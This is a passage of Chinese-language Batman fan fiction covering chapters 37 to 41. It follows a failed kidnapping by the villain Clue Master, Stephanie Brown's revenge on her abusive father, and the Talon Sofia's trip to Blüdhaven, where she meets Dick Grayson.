亚当揉了揉眉心，脑袋像是被人从身后敲了闷棍，他早上从好不容易找到的据点醒来的时候，就看到有个不修边幅的大胡子老头脱了裤子正对着他撒尿。来不及叫剩下几个人起来，亚当就叫嚷着挥动着拳头冲了上去，几拳下去那老头就摆着手逃之夭夭，只剩下亚当在睡了不到四个小时后被从梦境中惊醒，独自承受睡眠不足带来的头疼。 此时，胃袋因为长期未摄入食物而疼痛，如同被当做抹布拧干后又被重重的摔在了地上。 亚当没有照镜子，就知道自己的眼睛里一定布满了血丝，像吸血鬼一样被食欲所折磨，随时会扑到别人身上大快朵颐。 只可惜这里是哥谭，就算真的是吸血鬼也大概率会被飞天大蝙蝠抓走扔去少管所。 少管所也行，至少还有饭吃，只是得挨打，蜷缩成一团老老实实挨顿打总比饿死在街头好点。 “咔嚓，咔嚓。” 大口咀嚼食物的声音格外刺耳，亚当转头想用脑子里能想到的一切污言秽语去辱骂那个在一群快饿死的小鬼面前刻意炫耀食物的狗杂种，结果就看到了满当当摆放了一桌的冒着热气的食物，以及已经控制不住大口啃食炸鸡翅的小胖子，和那个被酱料弄脏了手的木杆一样的小孩。 脏话被鸡肉和淀粉的混合物堵在嘴里，亚当的脑子里想不出复杂的事，只记得那夜美味异常的炸鸡和被食物填满的肚子。 邻座的男人自称自己是线索大师，是哥谭城的反派，和其他掉价的反派不同，线索大师酷爱在犯罪后留下线索让那些无能的税金小偷对着他精妙的计划急躁的抓耳挠腮。 “那不是谜语人吗？”胖子小声说道“谜语人什么时候改名吗？” “那他以后会变成线索博士吗？硕士听起来有点像论文没写出来被逼疯了。” “安静。”线索大师的那张脸孔上保持着高级反派特有的冷静，至少亚当很少在小喽啰脸上看到这样的表情。 “我有一个计划，没过多久整个哥谭都会知道我精妙的犯罪天赋，他们会为我的才华而折服，为自己忽略了一位真正的天才而叹息，就连小丑也要跪倒在我的脚下祈求我放过哥谭。” 线索大师的表情逐渐狰狞，过度兴奋的语气让瘦子打了个寒战，但可惜几个少年还只顾着埋头苦吃，实在分不出一丝注意力给这位未来的犯罪皇帝。 “头儿，我们犯罪不拿钱吗？”亚当把语气尽可能放的尊重以免激怒三人组目前唯一的衣食父母。 “钱，当然会有的。”线索大师从那件拉风的风衣内衬里掏出钱包，在夹层里翻了个底朝天，终于拿出几张百元美钞“这是定金，等我计划的第一步开始，我们还能有更多的钱。” 亚当把这些钱收集在一起点了点，六百四十八块，那也比打工强点。 “好，我们干了头儿。” 之后，便是无止境的倒霉。 亚当在第二周的周三带着两个同伴跟着线索大师带上提前准备好的头套手枪和装钱的袋子冲进了哥谭银行，结果正好遇到处理宝石失踪案的夜翼，被穿着黑蓝色紧身衣的义警翻着花样一顿暴打，子弹都没射出去一颗，最后可怜巴巴的被挂在路灯上直到GCPD来抓人。 第二次，亚当跟着线索大师去帮某些大人物运货，一小只手提箱里放着价值几千万的东西，只是这一单线索大师就能拿几十万，而亚当能从老板的手里拿到个两万块。 同样倒霉的是，两人刚离开港口就被蝙蝠侠撞个正着，线索大师所谓的谜语在哥谭最大的都市传说面前不值一提，蝙蝠侠两拳就把亚当的老大打的满地乱爬，此时正想悄悄护着货物逃走的亚当刚一转身就遇到了跟自己差不多大的罗宾。少年刚伸出手，亚当就回忆起大家总结的遇见义警自保的方法，自觉交出了货物捂着脑袋蹲了下去。 罗宾倒也没为难亚当一个小喽啰，把人捆好后就等着蝙蝠侠结束战局。 亚当无聊着等待老板的时候，总觉得眼前似乎有几乎溶于黑色的身影掠过，再睁眼却不见了踪影，亚当也只以为自己被打了头以后花了眼。 第三次，线索大师绑架了家里有几个闲钱的女孩，这次特意布置了绑架现场留下了可能存在的犯罪线索。 “之前都是失误，这次我用了三个月的时间谋划，一定能把那帮条子和蝙蝠侠都玩弄在掌心里。” 帮着一起设置谜语的亚当点了点头。 确实，就算是蝙蝠侠也绝对想不到线索大师留下的那一长串数字并非是什么高级的摩斯密码，而只是一串再简单不过的电话号码，只要拨通电话就可以在快餐店里点一份新品蝙蝠汉堡套餐，两份招牌汉堡带薯条和两杯可乐的经典套餐。 相信蝙蝠侠一定觉得自己被戏弄了气愤的直跺脚，而这个时候线索大师就可以在焦急的家属那里拿到几百万美元的赎金，几人连洗钱的钱庄都找好了，万事俱备只欠赎金。 “怎么又下雨了，艾迪，把窗户关上。” 被叫到名字的胖子茫然地放下手里的汉堡，对着窗台上的雨滴摸不清头脑。 “头儿，我记得刚刚关窗了啊。” “叫你做你就做，问那么多做什么？”亚当骂骂咧咧的走来，放下了手里的胶带。 青年身后，被用胶带缠住手脚的棕发少女正在流泪，女孩的左脸还肿着，是刚才从迷药中醒来下意识尖叫后的结果。随后，恼怒的亚当扯出胶带一圈又一圈的把少女的双手捆在身后，每次拉扯胶带仿佛都能想起在哥谭街头受到的每份委屈。 线索大师占据了唯一的房间在闭目养神，只留几个年轻人在客厅里守夜。 瘦子倒有些神经兮兮，一直抬着脑袋看向天花板，亚当也跟着抬起头却什么都看不到。 无所事事的亚当干脆把少女脸上的胶带加固了许多，为了防止少女发出声音吸引外界的注意，亚当把自己裤兜里那条脏兮兮的手帕团成团塞进了女孩的嘴里，随后才用宽胶带封上了少女的嘴巴。一圈又一圈的胶带覆盖在原先的束缚上，少女的挣扎也渐渐减弱。 亚当简直难以控制手上的动作，他想起来被他一脚踹进河里的野狗，想起来他在小巷里用水果刀一次次捅进腹腔的对着他阴阳怪气的老师，想起来平日里对着他指手画脚的老头是怎么倒在地上死去的。 掌握他人生命的权力算得上最好的毒品，被潮水一样的快感冲昏了脑子的亚当手指一偏，胶带便覆盖上少女唯一能用来呼吸的鼻子，缠上了一圈一圈又一圈。 第38章 “我还是感觉有什么不对, 哥，你要不再看看。” 胖子的声音在身后响起才终于唤回了亚当仅存的神志，这时亚当才意识到少女的口鼻全部被胶带缠住, 应该会有窒息的危险。 虽然理智上，亚当再清楚不过自己得把胶带拆开，至少把少女的口鼻露出来, 要是她死了, 大家要从哪里拿到赎金。 “你真以为她会放过你吗？她看到了你的脸，只要她回家，GCPD就会冲进你落脚的狗窝，拿枪对着你的脑袋清空弹夹, 到时候大小姐还是大小姐, 而你只能是一坨烂狗屎了。” “你不恨吗？为什么这女孩随随便便就有这么富裕的家长能随随便便掏出来几百万付赎金, 而你呢，亚当？哦对，你是条野狗, 死在路上了也没人会在乎。可是, 凭什么呢？凭什么？” “那是她应得的, 在哥谭绑票之后撕票不是最正常不过的吗？有什么可怕的，杀了她, 拿着钱, 你和几个兄弟都能吃香的喝辣的。” 不知道什么时候出现在手机里的匿名短信正一句一句挑拨着亚当本就不坚固的心弦, 他应该把出现的神秘信息告诉给头儿的, 可是…… 凭什么呢？信息说的没错，有的人生来就在罗马, 而像亚当这样的烂人, 一辈子用尽全力也爬不进罗马。 杀了她, 没人会知道的，头儿能怎么办？只能帮忙遮掩事实，要是这女孩已经死了的消息传出去，他照样拿不到钱。 “不过，亚当你真的好可怜，明明你平时干活最多不是吗？上上次，抢银行的时候线索大师什么都没做，而你被夜翼的电棍电的尿了裤子，可是转头来没人在乎你的付出，线索大师还要骂你没用。” “上次在码头，线索大师看到蝙蝠侠就要逃跑，又是只有你在挨揍。可是到头来，线索大师给了你多少钱？一百万？十万？哦不，是可怜的五万块，你是不是还花了三万给胖子的妈妈交医疗费？” “你管那么多做什么？那些钱都应该是你的。不光是那五万块，你还能有更多，更多……” 亚当缩回了想要解决少女的手，对着少女憋得通红的脸，几乎压抑不住嗓子眼里弥漫而上的瘙痒和随之而来的笑意。 亚当再次摸向了被他藏在宽大口袋里的水果刀，那把老伙计从他初出茅庐到现在一直陪伴着他，而现在他找到了最好的机会，如同数年前他找到机会杀死同学抢钱的那次一样。 亚当来不及思考，短时间内大量分泌的肾上腺素让青年涨红了脑袋，歇斯底里起来。 就在那把刀即将捅进毫无防备的线索大师身体中时，剧烈的疼痛迫使亚当松开了攥着刀把的手，水果刀掉在地上的声音格外清脆却没吵醒已经进入睡眠的线索大师。 在血色过后青年才意识到原来是一把蝙蝠镖插进了手掌，这也是剧痛的来源。紫色披风的义警蹲在角落，划开了胶带取出了少女嘴里的手帕，缓缓站起身来将少女护在身后。 亚当定睛一看，终于看到了早就被义警放倒的胖瘦二人，青年用另一只手抄起水果刀就冲着少女的方向刺去。 预料中刀具划破□□的响声并未出现，取而代之的是失去着力点后的急速摔倒，以及被拎着衣领向地板重重摔去的瞬间带来的钝痛。 亚当想要睁开眼继续反击，就看到了迎面而来的拳头。 随后便是一片黑暗。 亚瑟布朗醒来的时候只感受到带着热气的水滴在脸上划过的潮湿，男人半天睁不开眼睛，正要张嘴扯着嗓子使唤自己几万块就能唯首是瞻出生入死的小喽啰，却发现发不出一丝声音。 “好久不见，线索大师。”低沉的女声在身后响起。 线索大师觉得这声音有几分熟悉，却始终找不到头绪，在努力睁开眼睛后，眼前的景象几乎让男人的括约肌放松到原地飞翔的地步。 他正在预计有几十层高度的位置，如果没猜错他正被倒吊在哥谭某一处高楼边缘，上下颠倒的视角是因为被用绳索捆住的脚踝。 线索大师这才顺着声音的方向看到了声音的主人。 紫色的兜帽下是金色的长发，女性被面具挡住了脸难以辨别身份，被紧身衣包裹的身体锻炼痕迹明显，随便一拳就能让亚瑟见到死去几年的老婆。 “恭喜你，又失败了，像是你的反派生涯一样，无用无能。”女性用手上的长棍戳了戳连接线索大师的绳索，让男人在空中开始更大幅度的摇晃。 “你根本不懂我，我只是差一个机会，只要我能抓住这次机会，所有哥谭人都会认识我。” “认识你丢人现眼吗？你那些蹩脚的线索拿给蝙蝠侠看的时候不会觉得羞愧吗？电话号码？你怎么能想出这么蠢的东西来？” “那些线索要是拿给谜语人看，谜语人都恨不得出狱杀了你这个会败坏他名声的弱智，我以为你有多高级的手段。” 女性的语气里带着满满的嘲讽，熟悉的被贬低的语气让亚瑟怒火中烧。 “你也只是个只知道躲在人背后的胆小鬼，为什么不出来和我单挑，我会让你知道线索大师的厉害。” “厉害？你是说抢银行对着防弹玻璃开枪？还是在码头刚接到货就遇到蝙蝠侠，被打的尿裤子？还是说只敢对小女孩动手？” “我还敢打其他人呢？有个女人脸都被我打成猪头了还不愿意走，要我说她还没那个不听话的女儿有本事，我就该把她卖去站街，那个小丫头片子有别的用处，要是跟着我工作估计能抗不少打。” 空气中满是沉默，线索大师自以为用语言就震慑住了义警，心里只觉得不愧是个小女孩就是会被大人的话吓到，便开始夸夸其谈，讲自己懦弱胆小的妻子，讲不听话就被他殴打的女儿，讲他的妻子是怎么苦苦抓着他的裤脚求他别走的。 义警回复的只有沉默，接着便是机械运作的响声。 线索大师来没来得及收回大放厥词时的嚣张，便眼睁睁看着捆着自己脚踝的绳索突然断开，将要坠落的恐惧让男人不顾所谓大师的矜持，从嗓子里冲出尖叫声。 空气刮过脸颊如同被刀片划过，亚瑟几乎能感觉到脸上被划出的细微伤口，平日里再熟悉不过的高楼显得无比遥远，身体出于生存本能下意识分泌大量的激素来规避即将而来的疼痛，让亚瑟反而无法逃避，不得不以再清醒不过的状况面对现有的一切。 柏油地面越来越接近，亚瑟几乎能感受心脏即将顺着食管从口腔中被呕出的剧烈刺激，在即将而来的死亡前线索大师闭上了双眼。 随之而来的是脚踝传来的拉力。 感谢上帝，那个义警果然是个见识少的小女孩，最后还是没能选择下手杀人。 被急速带回高空的线索大师在劫后余生的喜悦后，只剩下了反重力带来的反胃感，在胃袋的蠕动下，之前吃下的食物残渣全部被呕吐了出来。 亚瑟的余光看到了被递来的手帕，顺手接过擦了擦嘴，只是上面的图案实在熟悉，在手指划过手帕一角被刺上的纹样时，男人愣住了。 “很惊喜吗布朗先生？” 女性的语气再平淡不过，完全不见上次见面时女孩的歇斯底里，甚至还能不顾被生父的呕吐物弄脏的用来装样子的长风衣，用带着战术手套的手熟练地整理着衣领，如同亚瑟记忆里那个低着头整理衣服的女人一样。 “我真的很可惜，刚刚没能杀了你。要是我真的切断了绳子，你会立马被摔断脖子，眼球估计都会被摔得满地都是。我的朋友告诉我其实这样不痛，只有骨折的五级疼痛，算不上折磨，我觉得太便宜你了。” “但我现在答应了别人，不会杀人。我不想弄脏我的手，用你的血给妈妈祭奠的话，太脏了。” “我什么都没做，是她没用自己死掉的。” “闭嘴！如果不是你拿走了钱，她就不会死了。”斯蒂芬妮再也无法控制住愤怒，用手抓住了男人和少女如出一辙的金头迫使男人抬起头来“你看看你，只是多了根东西，你妈妈会爱你，我妈妈也会爱你，两个没有关系的女人都在为你开脱，是运气不好，男人就是脾气不好，亚瑟还年轻呢以后就好了。” “你都四十了还年轻呢？干脆承认自己是废物不好吗？既然知道自己没用为什么不去死，还能理所当然的向所有人伸手要钱，你知道大家都想杀了你吗？” “我是你爸你不能这么对我，我是个罪犯你也是，你真以为自己当得了义警吗？”被激怒的女儿让亚瑟回到了熟悉的位置，比起歇斯底里的女儿冷静的过分的女儿显然更难对付“他们都会因为我而排挤你，因为你身上流着罪犯的血，无论你做什么他们都能用罪犯的身份来指责你。” “无所谓。”斯蒂芬妮恢复了平静，放下了抓着男人头发的手“我想做的事只有一件，就是永远的阻止你。无论你去盗窃，去抢劫，去杀人，我都会阻止你，你会在余生都在监狱里度过，直到临死前都无法摆脱自己是个废物的事实，等到你死了我还会在你的墓碑上刻上一行字——这里是亚瑟布朗的坟墓，他是一个废物。” “你不能这么做，我是你爸！”男人的尖叫格外凄惨，接下来是一次又一次高空坠落的体验。 “我当然可以。”斯蒂芬妮戴上兜帽，听着由尖叫声构成的乐曲，勾起了嘴角“因为我是罪犯的女儿，爸爸，我也是罪犯。” 第39章 尖叫声响彻了整座大楼, 直到几人迷迷糊糊醒来看到站在面前的罗宾，才意识到犯罪计划的完全失败。 “我们需要谈谈，搅局者。”蝙蝠侠看向还在自由落体的线索大师, 在对方升至高处时关停了机关。 金发少女转过身来，脸上还带着被打断泄愤的无奈。 “好吧好吧，蝙蝠侠你想谈些什么？我知道我有点过分, 要是需要坐牢也没关系, 但至少让我和索菲亚说一声，她还在家等我吃饭呢。” “但是我一没有殴打他二没有虐待他，这连恐吓都不算吧。”少女挑眉，露出一个公式化的微笑, 笑意却只是流于表面。 “你在引导他犯罪, 你提前知道了他的犯罪计划并一步一步引导他进入危险的境地, 在港口□□火拼时的流弹随时可以要了跟着他的几个孩子的命。” “我有分寸，他们没事不是吗？” “再过五分钟史黛拉斯维奇就会因为窒息脑死亡，你的复仇就是让一个无辜的孩子被罪犯伤害吗？” “所以我出手了, 她没事不是吗？我承认我没想到那个小喽啰为什么对这孩子有这么大的恨意, 但她已经安全了可能受了些惊吓……”斯蒂芬妮说话的声音越来越小, 直到声音彻底消失。 “你的情绪影响了你，所以你丧失了对局面的掌控, 如果这个孩子因你而死, 你要怎么办？” “……” “你的一生都会被愧疚所笼罩, 即使不是你伤害了这个孩子, 但负罪感和愧疚感会伴随你一生，时隔多年等到你死去的时候你想起的不会是你所经历过的快乐与幸福, 而是这个孩子因为你而遭遇了这些不幸……” “玩弄犯罪本身也是一种犯罪, 斯蒂芬妮。” 后面的话斯蒂芬妮听不真切, 直到夜风吹在脸上，她才意识到自己已经落荒而逃。 斯蒂芬妮不想回去，即使索菲亚大概率还在家等她，或许准备了足够塞满了冰箱的零食和饮料，但年轻的义警实在不知道怎么面对亦师亦友的同伴。 等到意识回笼，斯蒂芬妮发现自己正站在楼顶，而视野的对面就是自己做梦都想逃离的地方。 曾经那里还是斯蒂芬妮的家，即便对妈妈心怀不满，但少女还是没办法抹去这个曾经每晚都亮着灯的地方带给自己的温暖和力量。 妈妈是十足的料理杀手，大多数时候她只是在超市把那些半成品都堆在一个大锅里加热，偶尔加些块头极大的萝卜土豆，斯蒂芬妮要用尽浑身解数才能吃完这一碗味道过于丰富的炖菜。 大锅里还躺着几片早上没吃完的培根，一整块的斯帕姆午餐肉被用餐刀挖出压碎了融进了汤汁里，豌豆同样是罐头产物，加在一起按理来讲不会很难吃，除了妈妈突发奇想加进去的酸奶油。 这一锅炖菜，斯蒂芬妮和妈妈往往要吃上三天，直到锅里的蔬菜完全不成样子，才宣告炖菜生命的结束。 斯蒂芬妮站在熟悉的家门前，却心生胆怯，脚步如同灌了铅一般难以挪动一步，数次深呼吸后，斯蒂芬妮还是决定进去看看。 “就当是和妈妈告别了。” 斯蒂芬妮心想，弯腰从家门口的花盆底找钥匙。 妈妈记性不好弄丢过好几次钥匙，最后才决定放在花盆底下，即使一个人忘记了另一个人好歹还能记得。 只是，熟悉的钥匙不见了踪迹。 少女的手略微停顿后，便是更加细致的翻找，随后更是将花盆完全翻转过来，甚至伸手把花盆里干硬的土全都刨了出来也没看到那枚闪着亮光的钥匙的影子。 斯蒂芬妮什么都记不起来了，钥匙，书包，妈妈。哦对当时自己压根没有钱买墓地，妈妈的骨灰还存放在火葬场里。 斯蒂芬妮坐在楼梯上双手环抱着膝盖，如同小时候没带钥匙等着妈妈开门的每个下午一样。 眼睛越发酸涩，蓝色的瞳孔转动几圈，还是没能留住从泪腺分泌出的生理盐水，眼泪一滴一滴的落在地上。 此时楼道里的声控灯因为长久的安静终于也停止了工作，徒留金发少女一个人坐在漆黑的楼道里，等一个再也不会回家的人。 直到天亮，斯蒂芬妮才顶着肿的像核桃一样的眼睛回家。 为了对付线索大师，斯蒂芬妮将近一周都不在家，索菲亚倒也见怪不怪，这期间斯蒂芬妮没听神谕有提到索菲亚的事，便猜好舍友估计躺在家里cos蘑菇去了。 斯蒂芬妮遇到了热狗摊，从口袋里掏出零钱买了几个打算回去当做早饭，如果回去后发现索菲亚还没醒，那当午饭吃也不是不可以。 拎着打包好的斯蒂芬妮整理好思绪，用钥匙打开了门锁，将热狗在餐桌上放好后却没听到来自索菲亚例如翻身，撒娇，在房间走来走去的各种动静。 斯蒂芬妮打开索菲亚房间的门正想叫女孩出来吃饭，映入眼帘的便是空无一人的床铺，存放装备的衣柜同样空无一物，只是斯蒂芬妮在家里找了一圈也没找到索菲亚一向会留下的交代自己行踪的纸条。 金发少女只能当同伴有了任务忘了留消息，只能等两天再做打算。 又过了三天，斯蒂芬妮终于意识到，索菲亚失踪了。 索菲亚正和前任同事林肯一起处理些过去残留下来的一点点微不足道但足够两只有异心的利爪当场被拧断脖子的小线索。 按照原计划，在斯蒂芬妮不在家的这几天，索菲亚应该快乐的躺在床上刷一周的tiktok。 直到看不下去的提姆或者蒂娜或者斯蒂芬妮把索菲亚拉出门活动，让索菲亚这只习惯夜行的猫头鹰怪人意识到自己见到阳光原来是不会立马死掉的。 就在斯蒂芬妮离开的第二天，去楼下打包披萨的索菲亚在自家门口遇到了终于愿意脱下一身精英打扮的林肯马奇。 “如果因为你让我被法庭追杀的话，我一定把你也供出来我们同归于尽。”索菲亚从口袋掏出钥匙背对着林肯打开了大门“我只买了一份披萨，想吃的话自己点外卖。” “有些麻烦找上门了。”林肯皱着的眉头几乎能夹死几只苍蝇“我们进去说。” 看着索菲亚堆满了毛毯毛绒玩具的沙发，林肯刨了半天终于给自己找了个平坦的能容纳的下猫头鹰屁股的位置，欣然坐下。 “青柳小屋那边的孤儿名单暴露了，咱俩的名字都在上面，如果被利爪抓到把柄，我们估计得一起被冻上埋到南极去。” “你想要我做什么？”索菲亚拆开买回来的披萨，戴着手套扯下来其中一块，看着芝士融化后拉长的丝“我不觉得你能杀死其他利爪，还是说你有别的办法。” “现在太早了，我还没说动法庭对蝙蝠侠下手，至少要把蝙蝠侠拉进来。”林肯显得格外疲惫，习惯在阴影下用些脏脏手段处理对手的杀手如今成了聚光灯下的明星，巨大的反差让利爪难以适应。 “有个办法，我找到了急冻人的位置，他需要一笔钱来维持他的实验，而我手里恰好有一笔钱。”林肯睁开眼睛，用那双不加掩饰的金色眼睛注视着索菲亚“拿到急冻的装备，至少可以先处理掉那个最难对付的利爪。” “那是谁？我以为利爪的能力都半斤八两呢。” “威廉.科布，算是目前所有利爪的导师，以前训练的时候被他打的死去活来是常事，他很久都没管过利爪的事了。” “没印象。”索菲亚的脑袋摇的像中餐厅里的老式风扇“那我们要怎么做？引他出来？听起来更像是你随时要出卖我以求自保的陷阱。” “至少这次不是，如果这个时候卖掉你就太早了，至少要等我当上市长。” 索菲亚思索片刻，点了点头。 “有道理，东西在哪我替你去取。” 哥谭港口，停靠的轮船正在来来往往的卸货。 如果按照公示的公告，港口在晚上九点后是不工作的，在记者的采访里港口负责人更是声称，九点之后工作付给工人的加班费可比运费贵上不少。 只是大家都清楚，只是不做合法的运送，但那些见不得人的生意却能够继续在轮渡上进行。 急冻人把谈好的装备装进了集装箱里，索菲亚确认过没有问题后，林肯手下的人就会把这箱东西运走作为对付利爪的后备资源。 如果一方真的遇到不测被法庭处理，另一方也能带着这批物资投奔蝙蝠侠给法庭添点大麻烦。 索菲亚穿戴好利爪的装备，即使真的倒霉遇到同事，也能以任务的名义混过去。 只是有一点索菲亚无法理解，为什么负责收养利爪预备役的青柳小屋会有自己的资料。 从梦中醒来，索菲亚一直懒得思考自己的来历，她下意识认为自己如同游戏角色一般，只有索菲亚进入这个世界，世界才会真正的运转。 即使之后有过怀疑，但是在检查身体过后，索菲亚可以断言这就是自己的身体，并非是里穿越进其他人身体内被称为夺舍的剧情。 可是林肯的话让索菲亚不免有些怀疑，自己的记忆真的没有错吗？那些记忆里到底藏着什么呢？林肯又在隐瞒些什么？ 第40章 索菲亚拿着钥匙打开了集装箱的门, 如预料一般放满了装备，包括急冻人之前用过的急冻射线枪，被射线攻击后只有不到十一分钟的时间进行解冻, 否则迎接对方的只有死亡。 对方还友情赠送了一部分手雷款式的速冻装备，方便应对小范围空间内的多种敌人。 不夸张的说，这里存放的急冻设备能让大多数利爪失去行动能力, 只是在使用时索菲亚不太确定被冰冻后自己会不会受到影响。 清点过数量后, 索菲亚重新将集装箱锁上，只是上锁前顺走了一点手雷以防不时之需。 接下来的工作就只有确认威廉科布的行踪了。 只有在这时索菲亚才开始后悔为什么监护人追漫画的时候自己不凑上去翻一翻，不然也不会沦落到连被迫匹配的同事都完全对不上脸，想要杀人灭口都困难的程度。 据林肯马奇说, 威廉科布曾经是一个马戏团的杂技演员, 但是具体在哪个马戏团, 林肯自己都说不清楚。 “你这个脑子以后还是别做市长了，明天小丑就去给你炸上天。” “已经炸过了。”林肯掀起夹克和内衬露出失去了后背失去皮肤的鲜红肌肉“不过不是小丑，是企鹅人, 他在我的住所安了炸弹, 险些给我眼珠子炸出来。” 马戏团, 这线索说大不大说小不小，在几十年甚至上百年间在哥谭演出过的马戏团里找到威廉科布实在算不上容易, 索菲亚只能寄希望于林肯马奇的脑子再努力一下。 “但我知道有个哈利马戏团一直在给法庭提供利爪储备, 十年前有个预定的利爪要进法庭的, 但是出了点意外那孩子的父母都死了, 那孩子也被布鲁斯韦恩截胡带回家当养子了。” “这些年哈利马戏团推荐的利爪人数不在少数，显得我们这帮从青柳小屋来的都像是没什么本事的废物了。” “那会大家刚开始训练, 那帮马戏团的身手好得很, 我们打也打不过跑也跑不过最后只能挨罚, 一根皮鞭从头抽到脚疼的晚上睡不着觉。” 林肯说话时余光看向索菲亚，确认对方没注意到自己后将视线又移了回来。 “哈利马戏团最近似乎在布鲁德海文演出，我知道的情报是威廉科布似乎也在那附近游荡，如果碰上了跑就是了。” 这也是索菲亚搭车离开哥谭的原因，斯蒂芬妮和提姆最近都有事要忙，发短信通知行程显得有些多余，索菲亚有信心三天就能解决布鲁德海文的事。 布鲁德海文，一座经典的沿海城市，位于新泽西州的哥谭附近，是一座名副其实的因港口而生的城市。过去这里以鲸鱼闻名，沿海的港口每年出口的鲸鱼制品数量惊人，就连当地流传的童谣大多也和鲸鱼有关。 但是在长时间的捕捞后鲸鱼几乎销声匿迹，过去热闹的港口变得萧条。 直到一群人的到来重新点亮了萧条的港口，各种非法交易如同荆棘一般野蛮生长彻底占据了这里，并顺着城市脉络不断延伸，层出不穷的帮派，罪犯，违禁药物构成的大网彻底将这座城市覆盖。 不过比起民风淳朴的哥谭，布鲁德海文甚至算得上阳间，毕竟这里可没有会原地爆炸后释放大量有害反派的阿卡姆精神病院。 在布鲁德海文驻扎的义警自然是夜翼，罗宾给索菲亚写的科普文档里有提到各位义警以及其驻扎的城市，比如和大都会深度绑定的超人，位于星城的绿箭侠，中心城的闪电侠。 这些东西不算难记，但装死已久的系统“滴”地一声蹦了出来，并贴心的附上了常见怪物分布图以及其特点，看着只存在于虚空中的长达八十万字打印出来有接近十厘米厚的长篇巨著，索菲亚只觉得天要塌了。 至少比起成本高昂的银制子弹，用这本怪物科普大部头去暴击怪物的脑袋可能更容易造成巨额伤害。 在公车上，索菲亚尝试打开这本猎魔人教科书，但是在翻开书不到一分钟的时间里，少女便昏昏沉沉的失去了意识，闭眼前也没看清楚天蛾人的传说到底发生在美国哪个州。 公车上实在嘈杂，几个青年人夹杂着kill fuck字眼的交谈，被抱在妇人怀里哭闹不停的小孩，拿着手机外放通话喋喋不休的女人，索菲亚被吵的脑仁疼，想从背包里拿出蓝牙耳机放点声音抵挡公车上的噪音，却摸了个空。 睁开双眼，在公车上扫视一周，站在后门等待下车的年轻人显得过分可疑。 那人看长相应该在二十岁上下，一身篮球服打扮像是刚参加完比赛回程的学生，但却不见这趟班车上大家都带着的行李。双手插在鼓鼓囊囊的口袋摆弄着兜里的东西，双眼四处乱扫，在看到索菲亚时眼神时却快速移开视线。 结果过分明了，索菲亚干脆放弃睡觉，睁着眼盯着年轻人，看看对方会有什么样的反应。 对方又是抓耳挠腮，又是左顾右盼，看向车门外的眼神过于焦灼，恨不得司机立马停车能让他逃之夭夭。索菲亚干脆用手托着下巴，一边翻书一边用余光关注着青年。 “都市传说中的天蛾人属于谣传，当地存在大量沙丘鹤，大概率是当地人看错后导致的结果。克伦德宁后续发生的天蛾人杀人事件则与炼金术师索恩有关，此人将大量人类改造成传说中的天蛾人的外形……” 车窗外的风景随着车速的移动的速度越来越慢，索菲亚不紧不慢的收好背包，也跟着挪到了车门的位置，站在了青年身后。 青年的身体紧绷起来，手心紧紧抓住扶手，连鞋带松了都没注意到。索菲亚能看到对方身上的毛孔中因为紧张流出的汗水，显而易见这还是个菜鸟。 索菲亚放下了逗弄菜鸟的心思，提前下车把东西拿回来算了，要是在公共场合打架把警察引过来就麻烦了。听说夜翼就在布鲁德海文做警员，现实中以这样的情况见面就算是对于猎魔人来讲也属于十足的黑色幽默。 “吱呀——”车门缓缓开启，索菲亚上前一步将青年松开的鞋带踩住，看着青年打了个趔趄险些摔倒只能下意识将另一只手也伸出保持平衡，擦肩而过的瞬间少女从青年松松垮垮的口袋里摸出耳机仓下车。 青年还来不及为摆脱了失主而兴奋，就看到了索菲亚手里捏着的本该在自己口袋里的战利品，可公车的门已经关上，载着青年飞速的离开。 “这本书能让我打印出来吗？这么厚要看到猴年马月。”索菲亚戴上耳机假装在通话，嘴里嘟嘟囔囔的跟系统抱怨道。 “抱歉，本系统目前不能接入网络，宿主可以以手抄的形式记录下来方便回顾。” “你知道现在中学生的作业都是电子模式的吗？” “很抱歉，本系统无法接入网络，请宿主自行记录。” 和系统谈判无果，索菲亚干脆把资料的事抛到脑后，在布港的街头找起了吃的。 出发前索菲亚刚刚爬起来只吃了个午饭就去哥谭港口确认装备的事，不久又来了布鲁德海文，此时夕阳西沉，即使是再训练有素的利爪也得饿的前胸贴后背。 好在稍走几步就看到了一张完美的印刷着加满生菜，西红柿，腌制过的牛肉并涂抹上美味辣酱的海报，海报之后就是正在忙碌着的塔克餐车。 什么马戏团，什么利爪，什么威廉科布，现在都不如吃一顿饱饭重要。 索菲亚的脚步没有一丝迟疑，直奔着餐车而来，看着琳琅满目的菜单，少女从钱包里掏出林肯给的信用卡大气的递给老板。 “五个招牌，一杯可乐带走谢谢。” “虽然这么说很奇怪，但是是不是有点多？” 熟悉的声音响起，索菲亚转头就看到了声音的主人。 健壮匀称的身材被警员制服包裹，虽然比不上对方晚上常穿的紧身衣，但仍旧能够看出健美的身材，以及挺翘的完美臀部。 有些凌乱的黑发下是蓝宝石一样的双眼，英俊的脸上挂着迷人的笑容，然而索菲亚能从中看出几分尴尬。 “理查德？” “叫我迪克就好。”男人回复道转而对老板开始点单“再要两份塔克套餐带走，一起付。” 说罢男人从钱包里拿出了零钱递给老板，转头对索菲亚笑道。 “你既然到了布鲁德海文哪里还有让你付钱的道理，我请客。” “你放心我吃得完。”索菲亚解释道。 “我有听提姆讲过，这个年纪吃的多一点也不算什么，我青春期的时候像头牛一样差点把家里的饭都吃干净，连布鲁斯都只能阿福阿福的叫，等新的食物上桌。” 索菲亚脑子里立马出现了画面，红绿灯一样配色的罗宾小鸟是怎么在餐桌上嗷嗷待哺喊饿，把餐桌上所有食物都一扫而空。而哥谭恐惧的化身，复仇者，义警漆黑大蝙蝠只能扁扁的饿着肚子等着在厨房里几乎把锅铲抡冒烟的阿福端上新的食物。 索菲亚没忍住笑了出来，在迪克的提示下才想起来要接过打包好的塔克，男人的那份则要再等几分钟。 “你有地方住吗要入夜了，一个人在布港游荡还是很危险的。” “你觉得我会害怕危险？” 索菲亚侧头眨了眨眼睛。 “我认为晚上出现的罪犯比较危险，所以为了罪犯的安全着想，能允许我带你去酒店吗？那家酒店各方面都不错，不管是服务质量还是饮食相关。” “不用担心破费，布鲁斯在那里有个房间，常年空置，花销都记在B头上。” “……” “真的不去吗？那家提供的披萨汉堡意面都很好吃的。” 那双蓝色的眼睛在桔黄色的夕阳下格外有存在感，或许是美食的诱惑，索菲亚终于是无法抵抗，点头表示同意。 40-50 第41章 迪克有辆酷炫的像是进入了好莱坞大片里随时可以进行激情追逐战的哈雷摩托, 索菲亚对摩托了解不多，但监护人尤其钟爱哈雷，倒也能靠眼熟认出来, 但聊到具体的型号配置索菲亚就说不上来了。 那辆车仅仅是停靠在路边就足够吸人眼球，索菲亚也忍不住多看两眼理解了监护人为什么爱的这么深沉。 